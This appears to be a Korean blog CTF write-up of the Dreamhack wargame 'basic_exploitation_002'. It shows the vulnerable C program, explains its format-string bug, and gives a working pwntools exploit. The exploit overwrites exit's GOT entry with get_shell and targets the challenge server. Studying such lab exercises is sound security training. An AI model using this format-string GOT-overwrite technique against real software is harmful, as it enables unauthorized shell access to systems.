본문 바로가기

Dreamhack/Wargame

[Wargame] basic_exploitation_002

1. 실습 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

2. 코드 분석

  • initialize함수에서 30초가 지나면, 프로그램이 종료되도록 작성되어 있다.
  • get_shell이라는 함수에 shell획득이 가능한 코드가 존재한다.
  • read함수로, buf 사이즈만큼 입력받아오므로, bof가 발생하지 않는다.
  • main함수의 printf함수에 buf만 있는 것을 보아, fsb취약점이 존재하는 것을 알 수 있다.
  • main함수에서 print함수를 실행 후, exit로 프로그램을 종료시킨다.

3. 풀이

해당 문제는 32bit fsb취약점이 존재하며, 이를 통해 got테이블에 위치한 exit의 주소를 get_shell주소로 변조하고 쉘을 획득할 수 있다.

 

(1) read로 들어간 입력값이 몇번째 인자에 속하는지 확인한다.

  • 첫번째 4byte는 맨 처음에, 두번째 4byte는 두번째 인자에 들어가는 것을 알 수 있다.

 

 

(2) exit의 got주소값을 구한다.

  • exit주소값이 0x804a024인 것을 알 수 있다.
from pwn import *

p = process(b"./basic_exploitation_002")
e = ELF(b"./basic_exploitation_002")

exit_addr = e.got['exit']
print("exit addr: ", hex(exit_addr))

 

 

(3) get_shell 주소값을 구한다.

  • get_shell 주소값이 0x8048609인 것을 알 수 있다.
from pwn import *

p = process(b"./basic_exploitation_002")
e = ELF(b"./basic_exploitation_002")

get_sh  = e.symbols['get_shell']
print("get_shell addr: ", hex(get_sh))

 

 

(4) %[값]$hn을 이용하여, got테이블에 위치한 exit주소값을 get_shell주소값으로 변조한다.

  • print함수에서 유일하게 입력할 수 있는 포맷스트링 '%n'을 사용하여 입력한다.
    • %n은 이전에 출력된 문자 수를 지정된 주소에 저장하는 포맷 스트링이다.
    • %n은 4byte이며, %hn은 2byte이다.
  • get_shell주소값을 그대로 넣어주면, 134514185개의 문자를 프린트해줘야 하기 때문에 시간제한에 걸릴 수 밖에 없다.
    따라서, get_shell의 주소값을 2byte씩 넣어줘야 한다.
%134514185c%1$n

 

 

  • get_shell의 주소값을 2byte씩 넣어주므로, got테이블의  exit주소값을 아래와 같이 넣어줘야 한다.
payload  = p32(exit_addr + 2) # 4byte
payload += p32(exit_addr) # 4byte

 

  • "%2044c%1$hn%32261c%2$hn"으로 get_shell주소를 2byte씩 넣을 수 있다.
    • %2044c%1$hn 에서 2052가 아닌 2044인 이유는 이전 코드에서 exit_addr주소값을 8byte 넣어주기 때문이다.
    • %32261c%2$hn 에서 34313이 아닌 32261이 들어간 이유는 이전에 2052byte 값이 들어있기 때문이다.

4. Exploit

from pwn import *

#p = process(b"./basic_exploitation_002")
p = remote(b"host3.dreamhack.games", 9253)
e = ELF(b"./basic_exploitation_002")

get_sh  = e.symbols['get_shell'] #0x8048609
exit_addr = e.got['exit']

print("get_shell addr: ", hex(get_sh))
print("exit addr: ", hex(exit_addr))

payload  = p32(exit_addr + 2) # 4byte
payload += p32(exit_addr) # 4byte
payload += b"%2044c%1$hn%32261c%2$hn"

p.sendline(payload)
p.interactive()

 

 

'Dreamhack > Wargame' 카테고리의 다른 글

[Wargame] uaf_overwrite  (0) 2022.09.19
[Wargame] basic_exploitation_003  (0) 2022.08.16
[Wargame] out_of_bound  (0) 2022.08.10
[Wargame] hook  (0) 2022.07.22
[Wargame] oneshot  (0) 2022.07.19